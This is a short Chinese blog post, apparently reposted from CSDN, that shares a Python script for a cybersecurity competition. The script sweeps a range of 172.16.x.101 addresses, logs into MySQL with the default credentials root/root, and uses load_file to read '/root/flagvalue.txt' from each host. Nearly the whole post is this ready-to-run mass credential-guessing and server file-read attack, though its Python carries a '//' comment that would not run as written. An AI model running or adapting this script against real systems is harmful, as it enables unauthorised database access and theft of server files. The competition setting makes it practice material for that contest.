网络安全竞赛C模块批量拿值脚本

公开一个C模块mysql弱口令批量链接get flag值脚本

import threading
import MySQLdb

def con(ip):
    try:
        con=MySQLdb.connect(host=ip,user='root',passwd='root')
        cur=con.cursor()
        sql="select load_file('/root/flagvalue.txt');" //flag存放位置
        cur.execute(sql)
        re=cur.fetchall()
        print ip,re
    except Exception as er:
        print er
def th():
    for i in range(100,220):
        ip='172.16.%s.101' %i
        t=threading.Thread(target=con,args=(ip,))
        t.start()
th()
 

猜你喜欢

转载自blog.csdn.net/qq_50377269/article/details/125916473